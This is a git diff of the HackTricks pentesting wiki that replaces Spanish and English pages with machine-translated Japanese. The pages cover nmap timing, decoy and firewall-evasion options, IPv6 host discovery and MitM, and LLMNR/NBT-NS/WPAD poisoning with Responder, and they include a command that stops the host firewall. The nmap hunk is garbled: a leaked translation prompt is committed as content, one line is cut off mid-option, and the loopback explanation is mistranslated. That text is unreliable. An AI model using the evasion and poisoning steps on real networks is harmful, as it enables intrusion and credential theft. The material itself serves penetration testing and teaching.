Por defecto en clase C usa 256. +Nmapは、スキャンするホストの総数をグループに分割し、それらのグループをブロックごとに分析します。すべてのグループが分析されるまで、次のブロックには移動しません(ユーザーもブロックが分析されるまで更新を受け取りません)。これにより、Nmapは大きなグループを使用することが最適です。デフォルトでは、クラスCでは256を使用します。 -Se puede cambiar con**--min-hostgroup** _**<numhosts>**_**;** **--max-hostgroup** _**<numhosts>**_ \(Adjust parallel scan group sizes\) +**--min-hostgroup** _**<numhosts>**_**;** **--max-hostgroup** _**<numhosts>**_ (並列スキャングループのサイズを調整します) -Se puede controlar el numero de escaners en paralelo pero es mejor que no \(nmpa ya incorpora control automatico en base al estado de la red\): **--min-parallelism** _**<numprobes>**_**;** **--max-parallelism** _**<numprobes>**_ +並列スキャンの数を制御できますが、最善ではありません(Nmapはネットワークの状態に基づいて自動的に制御します):**--min-parallelism** _**<numprobes>**_**;** **--max-parallelism** _**<numprobes>**_ -Podemos modificar el rtt timeout, pero no suele ser necesario: **--min-rtt-timeout** _**<time>**_**,** **--max-rtt-timeout** _**<time>**_**,** **--initial-rtt-timeout** _**<time>**_ +RTTタイムアウトを変更できますが、通常は必要ありません:**--min-rtt-timeout** _**<time>**_**,** **--max-rtt-timeout** _**<time>**_**,** **--initial-rtt-timeout** _**<time>**_ -Podemos modificar el numero de intentos:**--max-retries** _**<numtries>**_ +試行回数を変更できます:**--max-retries** _**<numtries>**_ -Podemos modificar el tiempo de escaneado de un host: **--host-timeout** _**<time>**_ - -Podemos modificar el tiempo entre cada prueba para que vaya despacio: **--scan-delay** _**<time>**_**;** **--max-scan-delay** _**<time>**_ - -Podemos modificar el numero de paquetes por segundo: **--min-rate** _**<number>**_**;** **--max-rate** _**<number>**_ - -Muchos puertos tardan mucho en responder al estar filtrados o cerrados, si solo nos interesan los abiertos, podemos ir más rápido con: **--defeat-rst-ratelimit** - -Para definir lo agresivo que queremos que sea nmap: -T paranoid\|sneaky\|polite\|normal\|aggressive\|insane - --T \(0-1\) - --T0 --> Solo se escanea 1 puerto a la vez y se espera 5min hasta el siguiente - --T1 y T2 --> Muy parecidos pero solo esperan 15 y 0,4seg respectivamente enttre cada prueba - --T3 --> Funcionamiento por defecto, incluye en paralelo - --T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms - --T5 --> --max-rtt-timeout 300ms --min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 --host-timeout 15m --max-scan-delay 5ms - -**Firewall/IDS** - -No dejan pasar a puertos y analizan paquetes. - -**-f** Para fragmentar paquetes, por defecto los fragmenta en 8bytes después de la cabecera, para especificar ese tamaño usamos ..mtu \(con esto, no usar -f\), el offset debe ser multiplo de 8. **Escaners de version y scripts no soportan la fragmentacion** - -**-D decoy1,decoy2,ME** Nmap envia escaneres pero con otras direcciones IPs como origen, de esta forma te esconden a ti. Si pones el ME en la lista, nmap te situara ahi, mejor poner 5 o 6 antes de ti para que te enmascaren completamente. Se pueden generar iPs aleatorias con RND:<numero> Para generar <numero> de Ips aleatorias. No funcionan con detector de versiones sin conexion de TCP. Si estas dentro de una red, te interesa usar Ips que esten activas, pues sino será muy facil averiguar que tu eres la unica activa. - -Para usar Ips aleatorias: nmap-D RND: 10 Ip\_objetivo - -**-S IP** Para cuando Nmap no pilla tu dirección Ip se la tienes que dar con eso. También sirve para hacer pensar que hay otro objetivo escaneandoles. - -**-e <interface>** Para elegir la interfaz - -Muchos administradores dejan puertos de entrada abiertos para que todo funcione correctamente y les es más fácil que buscar otra solución. Estos pueden ser los puertos DNS o los de FTP... para busca esta vulnerabilidad nmap incorpora: **--source-port** _**<portnumber>**_**;-g** _**<portnumber>**_ _Son equivalentes_ - -**--data** _**<hex string>**_ Para enviar texto hexadecimal: --data 0xdeadbeef and --data \xCA\xFE\x09 - -**--data-string** _**<string>**_ Para enviar un texto normal: --data-string "Scan conducted by Security Ops, extension 7192" - -**--data-length** _**<number>**_ Nmap envía solo cabeceras, con esto logramos que añada a estar un numero de bytes mas \(que se generaran aleatoriamente\) - -Para configurar el paquete IP completamente usar **--ip-options** - -If you wish to see the options in packets sent and received, specify --packet-trace. For more information and examples of using IP options with Nmap, see [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52). - -**--ttl** _**<value>**_ - -**--randomize-hosts** Para que el ataque sea menos obvio - -**--spoof-mac** _**<MAC address, prefix, or vendor name>**_ Para cambiar la mac ejemplos: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, and Cisco - -**--proxies** _**<Comma-separated list of proxy URLs>**_ Para usar proxies, a veces un proxy no mantiene tantas conexiones abiertas como nmap quiere por lo que habria que modificar el paralelismo: --max-parallelism - -**-sP** Para descubrir host en la red en la que estamos por ARP - -Muchos administradores crean una regla en el firewall que permite pasar todos los paquetes que provienen de un puerto en particular \(como el 20,53 y 67\), podemos decire a nmap que mande nuestros paquetes desde esos puertos: **nmap --source-port 53 Ip** - -**Salidas** - -**-oN file** Salida normal - -**-oX file** Salida XML - -**-oS file** Salida de script kidies - -**-oG file** Salida grepable - -**-oA file** Todos menos -oS - -**-v level** verbosity - -**-d level** debugin - -**--reason** Porqué del host y estado - -**--stats-every time** Cada ese tiempo nos dice como va - -**--packet-trace** Para ver que paquetes salen se pueden especificar filtros como: --version-trace o --script-trace - -**--open** muestra los abiertos, abiertos\|filtrados y los no filtrados - -**--resume file** Saca un resumen - -**Miscelanea** - -**-6** Permite ipv6 - -**-A** es lo mismo que -O -sV -sC --traceroute - -**Run time** - -Mientras corre nmap podemos cambiar opciones: - -v / V Increase / decrease the verbosity level - -d / D Increase / decrease the debugging Level - -p / P Turn on / off packet tracing - -? Print a runtime interaction help screen - -**Vulscan** - -Script de nmap que mira las versiones de los servicios obtenidos en una base de datos offline \(que descarga de otras muy importantes\) y devuelve las posibles vulnerabilidades - -Las BD que usa son: - -1. Scipvuldb.csv \| [http://www.scip.ch/en/?vuldb](http://www.scip.ch/en/?vuldb) -2. Cve.csv \| [http://cve.mitre.org](http://cve.mitre.org/) -3. Osvdb.csv \| [http://www.osvdb.org](http://www.osvdb.org/) -4. Securityfocus.csv \| [http://www.securityfocus.com/bid/](http://www.securityfocus.com/bid/) -5. Securitytracker.csv \| [http://www.securitytracker.com](http://www.securitytracker.com/) -6. Xforce.csv \| [http://xforce.iss.net](http://xforce.iss.net/) -7. Exploitdb.csv \| [http://www.exploit-db.com](http://www.exploit-db.com/) -8. Openvas.csv \| [http://www.openvas.org](http://www.openvas.org/) - -Para descargarlo e instalarlo en la carpeta de Nmap: - -wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/ - -También habría que descargar los paquetes de las BD y añadirlos a /usr/share/nmap/scripts/vulscan/ - -Uso: - -Para usar todos: sudo nmap -sV --script=vulscan HOST\_A\_ESCANEAR - -Para usar una BD específica: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_A\_ESCANEAR +ホストのスキャン時間を変更できます:**-- +以下は、ハッキング技術に関する本の内容です。次の内容は、/hive/hacktricks/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.mdというファイルからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を完全に保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどのものは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。 +特定のデータベースを使用するには:sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST_A_ESCANEAR @@ -288,16 +147,14 @@ Para usar una BD específica: sudo nmap -sV --script=vulscan --script-args vulsc ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md b/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md index 9edd7dc1d..aa6f0ad5a 100644 --- a/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md +++ b/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md @@ -1,35 +1,32 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# IPv6 Basic theory +# IPv6基本理論 -## Networks +## ネットワーク -In an IPv6 address, the **first 48 bits are the network prefix**. The **next 16 bits are the subnet ID** and are used for defining subnets. The last **64 bits are the interface identifier** (which is also known as the Interface ID or the Device ID, is for devices). If necessary, the bits that are normally reserved for the Device ID can be used for additional subnet masking. +IPv6アドレスでは、**最初の48ビットがネットワークプレフィックス**です。**次の16ビットはサブネットID**であり、サブネットを定義するために使用されます。最後の**64ビットはインターフェース識別子**(またはインターフェースIDまたはデバイスIDとも呼ばれる)です。必要に応じて、通常デバイスIDに予約されているビットは、追加のサブネットマスキングに使用できます。 -There is not ARP in IPv6. Instead, there is **ICMPv6 NS (Neighbor Solicitation) and NA (Neighbor Advertisement)**. The **NS** is used to resolve and address, so it sends **multicast** packets. The **NA** is **unicast** as is used to answer the NS. A NA packet could also be sent without needing a NS packet. +IPv6にはARPはありません。代わりに、**ICMPv6 NS(Neighbor Solicitation)とNA(Neighbor Advertisement)**があります。**NS**はアドレスを解決するために使用され、**マルチキャスト**パケットを送信します。**NA**は**ユニキャスト**であり、NSに応答するために使用されます。NAパケットはNSパケットを必要とせずに送信することもあります。 -**0:0:0:0:0:0:0:1** = 1 (`::1` for short) – This is 127.0.0.1 equivalent in IPv4. - -**Link-local Addresses:** These are private address that is not meant to be routed on the internet. They can be used locally by private or temporary LANs for sharing and distribution of file among devices on the LAN. Other devices in your local LAN using this kind of addresses can be found sending a ping to the multicast address ff02::01\ -**FE80::/10** – Link-local unicast address range. +**0:0:0:0:0:0:0:1** = 1(IPv4の127.0.0.1と同等) - これはIPv6の127.0.0.1と同等です。 +**リンクローカルアドレス:**これらはインターネット上でルーティングされることを意図していないプライベートアドレスです。これらは、プライベートまたは一時的なLANでのファイルの共有と配布のために、LAN上のデバイス間でローカルに使用することができます。この種のアドレスを使用しているローカルLANの他のデバイスは、マルチキャストアドレスff02::01にpingを送信することで見つけることができます。\ +**FE80::/10** - リンクローカルユニキャストアドレス範囲。 ```bash ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1 ip neigh | grep ^fe80 @@ -37,40 +34,38 @@ ip neigh | grep ^fe80 #Or you could also use alive6 eth0 ``` +もし、自分と同じネットワーク内にあるホストのMACアドレスを知っている場合(そのホストのIPv4アドレスにpingを送信し、arpテーブルを表示してMACアドレスを確認できます)、そのホストと通信するためにリンクローカルアドレスを計算することができます。 +ホストのMACアドレスが`12:34:56:78:9a:bc`であると仮定します。 -If you **know the MAC address of a host in the same net** as you (you could just ping its ipv4 address and view the arp table to found its MAC address), you can calculate his Link-local address to communicate with him.\ -Suppose the **MAC address** is **`12:34:56:78:9a:bc`** - -1. To IPv6 notation: **`1234:5678:9abc`** -2. Append `fe80::` at the beginning and Insert `fffe` in the middle: **`fe80::`**`1234:56`**`ff:fe`**`78:9abc` -3. Invert seventh bit from the left, from 0001 0010 to 0001 0000: `fe80::1`**`0`**`34:56ff:fe78:9abc` +1. IPv6表記に変換します:`1234:5678:9abc` +2. 先頭に`fe80::`を追加し、中央に`fffe`を挿入します:`fe80::`**`1234:56`**`ff:fe`**`78:9abc` +3. 左から7番目のビットを反転させ、0001 0010から0001 0000に変更します:`fe80::1`**`0`**`34:56ff:fe78:9abc` 4. `fe80::1034:56ff:fe78:9abc` -**Unique local address:** This type of ipv6 address also not intended to be routed on the public internet. Unique local is a replacement of site-local address, that allows communication within a site while being routable to a multiple local networks.\ -**FEC00::/7** – The unique local address range. +**ユニークローカルアドレス**:このタイプのIPv6アドレスは、公共インターネット上でルーティングされることを意図していません。ユニークローカルアドレスは、サイト内での通信を可能にしながら、複数のローカルネットワークに対してルーティング可能なアドレスです。 +**FEC00::/7** - ユニークローカルアドレスの範囲です。 -**Multicast Address:** This can also be refered to as One-to-Many. Packets addressed to multicast address are delivered to all interface identified by the multicast address. Multicast address types are easily notable because they normally begins with FF.\ -**FF00::/8** – The multicast range. +**マルチキャストアドレス**:これはワン対多とも呼ばれます。マルチキャストアドレス宛てのパケットは、マルチキャストアドレスで識別されるすべてのインターフェースに配信されます。マルチキャストアドレスのタイプは、通常FFで始まるため、簡単に識別できます。 +**FF00::/8** - マルチキャスト範囲です。 -**Anycast:** This form of ipv6 address is similar to the multicast address with a slight difference. Anycast address can also be refered to as One to Nearest. It can be used to address packets meant for multiple interfaces; but usually it sends packets to the first interface it finds as defined in the routing distance. This means it send packets to the closest interface as determined by routing protocols.\ -**20000::/3** – The global unicast address range. +**エニーキャスト**:この形式のIPv6アドレスは、わずかな違いがあるマルチキャストアドレスに似ています。エニーキャストアドレスは、複数のインターフェースに対してパケットを送信するために使用されますが、通常はルーティングプロトコルで定義されたルーティング距離に従って最初のインターフェースにパケットを送信します。つまり、ルーティングプロトコルによって決定される最も近いインターフェースにパケットを送信します。 +**20000::/3** - グローバルユニキャストアドレスの範囲です。 -fe80::/10--> Unique Link-Local (169.254.x.x) \[fe80:0000:0000:0000:0000:0000:0000:0000,febf:ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff]\ -fc00::/7 --> Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x) \[]\ -2000::/3 --> Global Unicast\ -ff02::1 --> Multicast All Nodes\ -ff02::2 --> Multicast Router Nodes +fe80::/10--> ユニークリンクローカル(169.254.x.x)\[fe80:0000:0000:0000:0000:0000:0000:0000,febf:ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff]\ +fc00::/7 --> ユニークローカルユニキャスト(10.x.x.x、172.16.x.x、192.168.x.x)\[]\ +2000::/3 --> グローバルユニキャスト\ +ff02::1 --> マルチキャスト全ノード\ +ff02::2 --> マルチキャストルーターノード -## **Guess the IPv6 of a machine** +## **マシンのIPv6を推測する** -**Way 1** +**方法1** -The IPv6 of fe80::/10 are based on the MAC. If you have the IPv6 of a device inside a network and you want to guess the IPv6 of another device of the network, you can get its MAC address using a ping (inside the arp table). +fe80::/10のIPv6はMACに基づいています。ネットワーク内のデバイスのIPv6を持っており、ネットワーク内の別のデバイスのIPv6を推測したい場合、pingを使用してそのデバイスのMACアドレスを取得できます(arpテーブル内)。 -**Way2** - -You can send a ping6 to the multicast and get the IPv6 address inside the arp table. +**方法2** +マルチキャストにping6を送信し、arpテーブル内のIPv6アドレスを取得することもできます。 ```bash service ufw stop #Stop firewall ping6 -I ff02::1 #You could also make: ping6 -I ff02::1 if you want to make a ping to a specific IP Address @@ -78,37 +73,32 @@ ip -6 neigh alive6 use auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement; set INTERFACE eth1; run ``` - # IPv6 MitM -Man in the middle with spoofed ICMPv6 neighbor advertisement. +IPv6の中間者攻撃(MitM)は、偽のICMPv6ネイバーアドバタイズメントを使用します。 -* Man in the middle with spoofed ICMPv6 router advertisement. -* Man in the middle using ICMPv6 redirect or ICMPv6 too big to implant route. -* Man in the middle to attack mobile IPv6 but requires ipsec to be disabled. -* Man in the middle with rogue DHCPv6 server +* 偽のICMPv6ルーターアドバタイズメントを使用した中間者攻撃 +* ICMPv6リダイレクトまたはICMPv6 too bigを使用した中間者攻撃によるルートの埋め込み +* モバイルIPv6を攻撃する中間者攻撃ですが、ipsecが無効になっている必要があります。 +* 偽のDHCPv6サーバーを使用した中間者攻撃 +# 野生のIPv6アドレスの発見 +## サブドメイン -# Discovering IPv6 addresses in the wild - -## Sudomains - -You can use google and other browsers to search for subdomains like "ipv6.\*" - +Googleや他のブラウザを使用して、"ipv6.\*"のようなサブドメインを検索することができます。 ```bash site:ipv6./ ``` - ## DNS -You could also try to search "**AXFR**"(zone transfer), "**AAAA**"(IPv6) or even "**ANY**" (all) registry in DNS to find IPv6 addresses. +DNSで"**AXFR**"(ゾーン転送)、"**AAAA**"(IPv6)、または"**ANY**" (すべて)のレジストリを検索してIPv6アドレスを見つけることもできます。 ## Ping6 -Once some IPv6 devices of an organisation have been found, you could try to use `ping6` to check nearby addresses. +組織のいくつかのIPv6デバイスが見つかったら、`ping6`を使用して近くのアドレスをチェックすることができます。 -# References +# 参考文献 * [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html) * [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904) @@ -118,16 +108,14 @@ Once some IPv6 devices of an organisation have been found, you could try to use ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**するか、[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**を**。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index f8fb843e8..b6f9a1c66 100644 --- a/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -1,200 +1,182 @@ -# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks +# LLMNR、NBT-NS、mDNS/DNS、WPADおよびリレーアタック
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Network protocols +## ネットワークプロトコル -### LLMNR, NBT-NS, and mDNS +### LLMNR、NBT-NS、およびmDNS -Microsoft systems use Link-Local Multicast Name Resolution (LLMNR) and the NetBIOS Name Service (NBT-NS) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS (mDNS) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services. +Microsoftシステムでは、DNSの検索が失敗した場合に、リンクローカルマルチキャスト名解決(LLMNR)とNetBIOS名サービス(NBT-NS)を使用して、ローカルホストの解決を行います。Apple BonjourおよびLinuxのゼロ構成実装では、マルチキャストDNS(mDNS)を使用してネットワーク内のシステムを検出します。これらのプロトコルは認証されておらず、UDP上でブロードキャストメッセージを送信するため、攻撃者はこれらを悪意のあるサービスにユーザーを誘導するために悪用することができます。 -You can impersonate services that are searched by hosts using Responder to send fake responses.\ -Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +Responderを使用して、ホストが検索するサービスをなりすますことができます。偽の応答を送信するためにResponderを使用する方法については、[こちら](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を参照してください。 ### WPAD -Many browsers use Web Proxy Auto-Discovery (WPAD) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL (e.g., _http://wpad.example.org/wpad.dat_) upon being identified through any of the following: +多くのブラウザは、Web Proxy Auto-Discovery(WPAD)を使用してネットワークからプロキシ設定を読み込みます。WPADサーバーは、次のいずれかで特定のURL(例:_http://wpad.example.org/wpad.dat_)を介してクライアントのプロキシ設定を提供します。 -* DHCP, using a code 252 entry[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41) -* DNS, searching for the _wpad_ hostname in the local domain -* Microsoft LLMNR and NBT-NS (in the event of DNS lookup failure) +* DHCP(コード252エントリを使用)[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41) +* ローカルドメインで_wpad_ホスト名を検索するDNS +* Microsoft LLMNRおよびNBT-NS(DNSの検索が失敗した場合) -Responder automates the WPAD attack—running a proxy and directing clients to a malicious WPAD server via DHCP, DNS, LLMNR, and NBT-NS. +ResponderはWPAD攻撃を自動化します。プロキシを実行し、DHCP、DNS、LLMNR、およびNBT-NSを介してクライアントを悪意のあるWPADサーバーに誘導します。 -## Protocols Poisoning +## プロトコルの改ざん -### Responder - LLMNR, NBT-NS and MDNS +### Responder - LLMNR、NBT-NS、およびMDNS -> Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to _specific_ NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: [http://support.microsoft.com/kb/163409](http://support.microsoft.com/kb/163409)). By default, the tool will only answer to File Server Service request, which is for SMB. +> ResponderはLLMNR、NBT-NS、およびMDNSのポイズナーです。名前の接尾辞に基づいて、_特定の_ NBT-NS(NetBIOS名サービス)クエリに応答します(詳細については、[http://support.microsoft.com/kb/163409](http://support.microsoft.com/kb/163409)を参照)。デフォルトでは、ツールはSMB用のファイルサーバーサービスリクエストにのみ応答します。 > -> The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. +> これにより、回答をターゲットにすることができ、ネットワーク上でステルス性を持たせることができます。これにより、正当なNBT-NSの動作を壊さないようにするのにも役立ちます。 -* 